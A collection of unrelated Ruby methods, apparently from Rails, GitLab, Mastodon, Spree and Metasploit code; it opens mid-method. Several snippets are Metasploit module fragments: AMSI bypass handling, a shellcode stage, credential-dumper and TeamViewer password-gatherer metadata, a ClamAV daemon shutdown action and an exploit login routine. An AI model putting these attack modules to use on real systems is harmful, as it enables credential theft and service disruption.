          queries = Arel::Nodes::Or.new(queries)
          Arel::Nodes::Grouping.new(queries)
        end
      end


def amsi_bypass_uri
    unless datastore['PSH-AmsiBypassURI'].empty?
      @amsi_uri = datastore['PSH-AmsiBypassURI']
    end
    @amsi_uri ||= random_uri
  end


def self.up
    create_table :follows, force: true do |t|
      t.references :followable, polymorphic: true, null: false
      t.references :follower,   polymorphic: true, null: false
      t.boolean :blocked, default: false, null: false
      t.timestamps
    end

    add_index :follows, ["follower_id", "follower_type"],     name: "fk_follows"
    add_index :follows, ["followable_id", "followable_type"], name: "fk_followables"
  end


def has_runner_with_expected_tags?(runner)
            within_runner_row(runner) do
              runner.tags.all? { |tag| has_content?(tag) }
            end
          end


def test_no_sql_should_be_fired_if_association_already_loaded
    Car.create(name: "honda")
    bulbs = Car.first.bulbs
    bulbs.to_a # to load all instances of bulbs

    assert_no_queries do
      bulbs.first()
    end

    assert_no_queries do
      bulbs.second()
    end

    assert_no_queries do
      bulbs.third()
    end

    assert_no_queries do
      bulbs.fourth()
    end

    assert_no_queries do
      bulbs.fifth()
    end

    assert_no_queries do
      bulbs.forty_two()
    end

    assert_no_queries do
      bulbs.third_to_last()
    end

    assert_no_queries do
      bulbs.second_to_last()
    end

    assert_no_queries do
      bulbs.last()
    end
  end


def find_deployable(project, environment)
    project.builds.where(environment: environment).sample
  end


def bang(node)
          if (node.method?(:==) && node.child_nodes.first.method?(:!)) ||
             (%i[>= !=].include?(node.method_name) && !node.child_nodes.first.method?(:!))
            '!'
          end
        end


def coverband_enabled?
        enabled?(ENV['COVERBAND_ENABLED'], default: false)
      end


def expect_item_edit_title(item, value)
      page.within("#meeting-agenda-items-form-component-#{item.id}") do
        find_field("Title", with: value)
      end
    end


def disk_usage_threshold
    ::Settings.server.events.disk_usage_gt_percent
  end


def activity
        {
          title: "#{strip_markup(user_combined_name)} #{action} #{wiki_page_link}",
          subtitle: "in #{project_link}",
          text: strip_markup(title),
          image: user_avatar
        }
      end


def clone_authorization_ensured
      self.authorization_ensured = { only: authorization_ensured[:only].dup,
                                     except: authorization_ensured[:except].dup,
                                     generally_allowed: authorization_ensured[:generally_allowed],
                                     controller: self }
    end


def rate_limiter
        @rate_limiter ||= Gitlab::WebHooks::RateLimiter.new(self)
      end


def change_handle?
    @version_no == Rex::Version.new('12.2.1.3.0')
  end


def purge_resource_ids
      @resource_data.delete_if { |id| resource_ids.include?(id) }
    end


def perform(follow_id, mailer = NotifyMailer.name)
      follow = Follow.find_by(id: follow_id, followable_type: "User")
      return unless follow&.followable.present? && follow.followable.receives_follower_email_notifications?

      return if EmailMessage.where(user_id: follow.followable_id)
        .where("sent_at > ?", rand(15..35).hours.ago)
        .exists?(["subject LIKE ?", "%#{NotifyMailer.new.subjects[:new_follower_email]}"])

      mailer.constantize.with(follow: follow).new_follower_email.deliver_now
    end


def virtual_attribute(attribute, cast_type: :string, &block)
      attribute attribute, cast_type
      define_attribute_method attribute

      include InstanceMethods

      _define_virtual_attribute_setter(attribute)
      _define_virtual_attribute_getter(attribute, &block)
      _define_virtual_attribute_reload(attribute)
      _define_virtual_attributes_hook(attribute)
    end


def initialize(info = {})
    super(
      merge_info(
        info,
        'Name' => 'Windows shellcode stage',
        'Description' => 'Custom shellcode stage',
        'Author' => 'bwatters-r7',
        'License' => MSF_LICENSE,
        'Platform' => 'win',
        'Arch' => ARCH_X64,
        'Session' => Msf::Sessions::Custom,
        'PayloadCompat' => {}
      )
    )
  end


def default_gem_without_cache_file?(spec)
      spec.default_gem? && !File.exist?(spec.cache_file)
    end


def []=(key, value)
            @map.select! { |c, _| c&.alive? }
            @map[key] = value
          end


def find_pipeline!(id)
      pipeline = find_pipeline(id)
      check_pipeline_access(pipeline)
    end


def add_files_sizes(file_method, *args)
    send(file_method, *args).inject(0) { |ts, f| ts + f.size.to_i }
  end


def perform(actor_id, body, delivered_to_account_id = nil, actor_type = 'Account')
    case actor_type
    when 'Account'
      actor = Account.find_by(id: actor_id)
    end

    return if actor.nil?

    ActivityPub::ProcessCollectionService.new.call(body, actor, override_timestamps: true, delivered_to_account_id: delivered_to_account_id, delivery: true)
  rescue ActiveRecord::RecordInvalid => e
    Rails.logger.debug { "Error processing incoming ActivityPub object: #{e}" }
  end


def click_on_create_button
      page.find_test_selector("add-calendar-button").click
    end


def backup_path
    Gitlab.config.backup.path
  end


def input_optional_text(value)
        format_help("(enter to #{value ? 'submit' : 'skip'})")
      end


def comment_regexp(arg_node)
          # Replace the interpolations with wildcards
          regexp_parts = arg_node.child_nodes.map do |n|
            n.begin_type? ? /.+/ : source_to_regexp(n.source)
          end

          Regexp.new(regexp_parts.join)
        end


def fabricate!
        project.visit!
        Page::Project::Menu.perform(&:go_to_labels)

        super
      end


def breakable_block_range(block_node)
          if block_node.arguments? && !block_node.lambda?
            block_node.arguments.loc.end
          else
            block_node.braces? ? block_node.loc.begin : block_node.loc.begin.adjust(begin_pos: 1)
          end
        end


def test_capitalize_should_work_on_ascii_characters
    assert_equal "", "".mb_chars.capitalize
    assert_equal "Abc", "abc".mb_chars.capitalize
  end


def down
    drop_trigger(:system_note_metadata, TRIGGER_NAME)

    drop_function(FUNCTION_NAME)
  end


def down
    with_lock_retries do
      remove_foreign_key :user_project_member_roles, column: :shared_with_group_id
    end
  end


def multiple_variants_for_format
    respond_to do |type|
      type.html do |html|
        html.tablet { render body: "tablet" }
        html.phone  { render body: "phone" }
      end
    end
  end


def change
    safety_assured do
      remove_column :poll_options, :counts_in_tabulation, :boolean
    end
  end


def get_module_resource
      "#{get_resource.to_s.chomp("/")}/#{@exploit_receiver_page}/"
    end


def cached_user_public_comment_reactions(user, comment_ids)
    cache = Rails.cache.fetch("#{user.cache_key}/public-comment-reactions-#{user.public_reactions_count}",
                              expires_in: 24.hours) do
      user.reactions.public_category.where(reactable_type: "Comment").each_with_object({}) do |r, h|
        h[r.reactable_id] = r.attributes
      end
    end
    cache.slice(*comment_ids).values
  end


def create_migration_file
        set_local_assigns!
        validate_file_name!
        migration_template "migration.rb.template", File.join(db_migrate_path, "#{file_name}.rb")
      end


def assert_not_in_load_path(*path)
      assert_not $:.any? { |p| File.expand_path(p) == root(*path) }, "Load path includes '#{root(*path)}'. They are:\n-----\n #{$:.join("\n")}\n-----"
    end


def calendar_view_params
      params.require(:query).permit(:name, :public, :starred).merge(project_id: @project&.id)
    end


def [](key)
    if (self.headers.include?(key))
      return self.headers[key]
    end

    self.headers.each_pair do |k,v|
      if (k.downcase == key.downcase)
        return v
      end
    end

    return nil
  end


def destroy?
    role.can?(:manage_webhooks) && record.required_permissions.all? { |permission| role.can?(permission) }
  end


def collect_options!(metric, selection, available_options, disabled_options)
        identifier = metric.identifier.value

        # Hide the filtered version of an option if unsupported; it just adds noise without value. Still,
        # showing unsupported options is valuable, because it advertises possibilities and explains why
        # those options aren't available.
        return if metric.filtered? && !selection.supports_operations?(identifier)
        return if metric.filtered? && !selection.can_filter_when_operated_on?(identifier)
        return if selection.exclude_filter_identifier?(identifier)

        option = Option.new(
          metric: metric,
          events_name: selection.events_name,
          filter_name: (selection.filter_name(identifier) if metric.filtered?),
          defined: false,
          supported: true
        )

        conflicting_timeframes = get_conflicting_timeframes(metric)
        available_timeframes = metric.time_frame.value - conflicting_timeframes

        if conflicting_timeframes.any?
          disabled_metric = metric.dup
          disabled_metric[:time_frame] = conflicting_timeframes

          disabled_option = option.dup
          disabled_option.defined = true
          disabled_option.metric = disabled_metric

          disabled_options << disabled_option.formatted
        end

        return if available_timeframes.none?

        metric[:time_frame] = available_timeframes.sort

        if selection.supports_operations?(identifier)
          available_options << option.formatted
        else
          option.supported = false
          disabled_options << option.formatted
        end
      end


def login(username, password)
    # yet another csrf token gathering.
    print_status('Authenticating with our activated new user')
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'users', 'login'),
      'cookie' => @cookie
    )

    if res && res.code == 200
      csrf_token = res.get_hidden_inputs.first['data[_Token][key]'] || nil
      fields = res.get_hidden_inputs.first['data[_Token][fields]'] || nil
    end

    if csrf_token.nil? || fields.nil?
      fail_with(Failure::Unknown, 'Unable to extact hidden fields from login form.')
    end

    res = send_request_cgi!(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'users', 'login'),
      'cookie' => @cookie,
      'vars_post' => {
        '_method' => 'POST',
        'data[_Token][key]' => csrf_token,
        'data[User][username]' => username,
        'data[User][password]' => password,
        'data[_Token][fields]' => fields,
        'data[_Token][unlocked]' => '',
      }
    )

    if res && res.body.include?('Cases')
      print_good('Successfully authenticated')
    else
      fail_with(Failure::Unknown, 'Unable to login.')
    end
  end


def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Network Shutdown Module sort_values Credential Dumper',
        'Description' => %q{
          This module will extract user credentials from Network Shutdown Module
          versions 3.21 and earlier by exploiting a vulnerability found in
          lib/dbtools.inc, which uses unsanitized user input inside a eval() call.
          Please note that in order to extract credentials, the vulnerable service
          must have at least one USV module (an entry in the "nodes" table in
          mgedb.db).
        },
        'References' => [
          ['OSVDB', '83199'],
          ['URL', 'https://web.archive.org/web/20121014000855/http://secunia.com/advisories/49103/']
        ],
        'Author' => [
          'h0ng10',
          'sinn3r'
        ],
        'License' => MSF_LICENSE,
        'DisclosureDate' => '2012-06-26',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(4679)
      ]
    )
  end


def insert(*parameters)
      begin_transaction if @statement_counter == 0

      @stmt.execute(*parameters)

      if (@statement_counter += 1) > TRANSACTION_SIZE
        commit_transaction
        @statement_counter = 0
      end
    end


def skip_review?
        helper.mr_has_labels?('growth experiment')
      end


def safe_parse(message)
        Gitlab::Json.parse(message)
      rescue JSON::ParserError
      end


def initialize
    @args = get_parsed_options
  rescue OptionParser::InvalidOption, OptionParser::MissingArgument => e
    print_error(e.message)
    exit
  end


def disconnect!(timeout: 120)
          start_time = ::Gitlab::Metrics::System.monotonic_time

          while (::Gitlab::Metrics::System.monotonic_time - start_time) <= timeout
            return if try_disconnect

            sleep(2)
          end

          force_disconnect!
        end


def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Gather TeamViewer Passwords',
        'Description' => %q{ This module will find and decrypt stored TeamViewer passwords },
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2019-18988'], [ 'URL', 'https://whynotsecurity.com/blog/teamviewer/'],
          [ 'URL', 'https://www.cnblogs.com/Kali-Team/p/12468066.html' ]
        ],
        'Author' => [ 'Nic Losby <blurbdust[at]gmail.com>', 'Kali-Team <kali-team[at]qq.com>'],
        'Platform' => [ 'win' ],
        'SessionTypes' => [ 'meterpreter' ],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [],
          'Reliability' => []
        },
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_railgun_api
              stdapi_railgun_api_multi
              stdapi_railgun_memread
              stdapi_railgun_memwrite
              stdapi_sys_process_get_processes
            ]
          }
        }
      )
    )
    register_options(
      [
        OptString.new('WINDOW_TITLE', [ false, 'Specify a title for getting the window handle, e.g. TeamViewer', 'TeamViewer']),
      ]
    )
  end


def bind
          return self if failure?

          yield result
        end


def nop
    return make_nops(4).unpack("V")[0].to_i
  end


def generate_layout
        add_ips_to_gemfile unless ips_installed?
        template("benchmark.rb.tt", "script/benchmarks/#{file_name}.rb")
      end


def reaction_category_name(slug)
    ReactionCategory[slug]&.name.presence || "unknown"
  end


def self.words_for_action(action)
    WatchedWord
      .where(action: WatchedWord.actions[action.to_sym])
      .limit(WatchedWord::MAX_WORDS_PER_ACTION)
      .order(:id)
      .pluck(:word, :replacement, :case_sensitive, :html)
      .to_h do |w, r, c, h|
        opts = { word: w, replacement: r, case_sensitive: c }.compact
        opts[:html] = true if h
        [word_to_regexp(w, match_word: false), opts]
      end
  end


def create_image(attachable, file)
        image = attachable.images.new
        image.attachment.attach(io: file, filename: File.basename(file))
        image.save!
        file.rewind
        image
      end


def regenerate_taxon_products(only_once: false)
      if marked_for_regenerate_taxon_products?
        Spree::Taxons::RegenerateProducts.call(taxon: self)
        self.marked_for_regenerate_taxon_products = false if !frozen? && only_once
      end
    end


def records_continue?
    @accounts.size == limit_param(LIMIT)
  end


def fail
      raise StandardError.new('failed on purpose')
    end


def self.create_physical_storage_queue(userid, ext_management_system, options = {})
    options["password"] = ManageIQ::Password.encrypt(options["password"])

    task_opts = {
      :action => "creating PhysicalStorage for user #{userid}",
      :userid => userid
    }

    queue_opts = {
      :class_name  => 'PhysicalStorage',
      :method_name => 'create_physical_storage',
      :role        => 'ems_operations',
      :queue_name  => ext_management_system.queue_name_for_ems_operations,
      :zone        => ext_management_system.my_zone,
      :args        => [ext_management_system.id, options]
    }

    MiqTask.generic_action_with_callback(task_opts, queue_opts)
  end


def username
    super || default_username
  end


def test_raises_on_unloaded_relation_methods_if_strict_loading
    dev = Developer.strict_loading.first
    assert_predicate dev, :strict_loading?

    assert_raises ActiveRecord::StrictLoadingViolationError do
      dev.audit_logs.first
    end
  end


def cleanup_test_data
    Status.destroy_all
    Account.destroy_all
    Tag.destroy_all
  end


def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ClamAV Remote Command Transmitter',
        'Description' => %q{
          In certain configurations, ClamAV will bind to all addresses and listen for commands.
          This module sends properly-formatted commands to the ClamAV daemon if it is in such a
          configuration.
        },
        'Author' => [
          'Alejandro Hdeza', # DISCOVER
          'bwatters-r7',     # MODULE
          'wvu'              # GUIDANCE
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'URL', 'https://twitter.com/nitr0usmx/status/740673507684679680/photo/1' ],
          [ 'URL', 'https://github.com/vrtadmin/clamav-faq/raw/master/manual/clamdoc.pdf' ]
        ],
        'DisclosureDate' => '2016-06-08',
        'Actions' => [
          [ 'VERSION', 'Description' => 'Get Version Information' ],
          [ 'SHUTDOWN', 'Description' => 'Kills ClamAV Daemon' ]
        ],
        'DefaultAction' => 'VERSION',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
    register_options(
      [
        Opt::RPORT(3310)
      ], self.class
    )
  end


def on_request_uri(cli, request)
    handle_response(cli, request.uri)
  rescue ::Rex::Post::Meterpreter::RequestError
    cli.send_response(create_response(500, 'Unknown error'))
  end


def encode_sequence_number
            bn = OpenSSL::BN.new(sequence_number.to_s)
            int = OpenSSL::ASN1::Integer.new(bn)

            int
          end


def track_record_deletions(table_name)
          trigger_name = record_deletion_trigger_name(table_name)

          execute(<<~SQL.squish)
            CREATE TRIGGER #{trigger_name}
            AFTER DELETE ON #{table_name} REFERENCING OLD TABLE AS old_table
            FOR EACH STATEMENT
            EXECUTE FUNCTION #{INSERT_FUNCTION_NAME}();
          SQL
        end


def update_state
    if may_foo?
      foo!
    end
  end


def without_trailling_slash(path)
          path ||= ""
          path[-1, 1] == "/" ? path[0..-2] : path
        end


def get_fingerprint
    ommni = connect
    ommni.put(rand_text_alpha_upper(64))
    resp = ommni.get_once(-1)
    disconnect

    if resp.nil?
      return nil
    end

    Rex::Text.to_ascii(resp).chop.chomp # Delete unicode last null
  end


def up
    execute "UPDATE site_settings SET name = 'max_stars_per_day' where name = 'max_favorites_per_day'"
    execute "UPDATE site_settings SET value = REPLACE(value, '|favorited', '|starred') where name = 'top_menu'"
  end


def call(order:, state: nil, shipping_method_id: nil)
        return failure(order) if state.present? && !order.has_checkout_step?(state)
        return success(order) if state.present? && order.passed_checkout_step?(state)

        old_state = order.state
        order_updater_ran = false

        # We need to check how many times we transitioned between checkout steps and return the error if no transition has been made
        # We'll always return an error when passing the `state` arg and not reaching the targeted state
        transitions_count = 0

        until cannot_make_transition?(order, state)
          next_result = Spree::Dependencies.checkout_next_service.constantize.call(order: order)
          return failure(order, order.errors) if next_result.failure? && (transitions_count.zero? || state.present?)

          transitions_count +=1

          # Quick Checkout with Google Pay not always sends events for shipping method selection
          # we have to check this after payment

          if order.delivery? &&
              shipping_method_id.present? &&
              order.shipments.count == 1 &&
              order.shipping_method.id != shipping_method_id

            result = Spree::Checkout::SelectShippingMethod.call(order: order, params: { shipping_method_id: shipping_method_id })

            # We're running the order update inside Spree::Checkout::SelectShippingMethod
            order_updater_ran = result.success?
          end
        end

        if order.state != old_state && !order_updater_ran
          order.updater.update_shipment_state
          order.updater.update_payment_state
          order.save! if order.changed?
        end

        success(order)
      end


def test_update_all_with_joins_and_offset_and_order
    comments = Comment.joins(:post).where("posts.id" => posts(:welcome).id).order("comments.id").offset(1)
    assert_equal 1, comments.count
    assert_equal 1, comments.update_all(post_id: posts(:thinking).id)
    assert_equal posts(:thinking), comments(:more_greetings).post
    assert_equal posts(:welcome),  comments(:greetings).post
  end


def try_add_credentials_to_netrc
        return unless add_credentials?
        return if netrc_already_contains_content?

        save_netrc_content
      end


def initialize_instance
      super

      header.frame_type = 2
    end


def tracked_user_id
        return unless user.is_a? User

        Gitlab::CryptoHelper.sha256(user.id)
      end


def call(env)
            target = env.target
            value  = env.value
            halted = env.halted

            if !halted && user_conditions.all? { |c| c.call(target, value) }
              result_lambda = -> { user_callback.call target, value }
              env.halted = halted_lambda.call(target, result_lambda)
              if env.halted
                target.send :halted_callback_hook, filter, name
              end
            end

            env
          end


def perform
        each_sub_batch do |sub_batch|
          sub_batch.each { |topic| topic.update! slug: clean_name(topic) }
        end
      end


def netsparker_pname_map(vuln)
    case vuln['vparam_name']
    when "URI-BASED", "Query Based"
      "PATH"
    else
      vuln['vparam_name']
    end
  end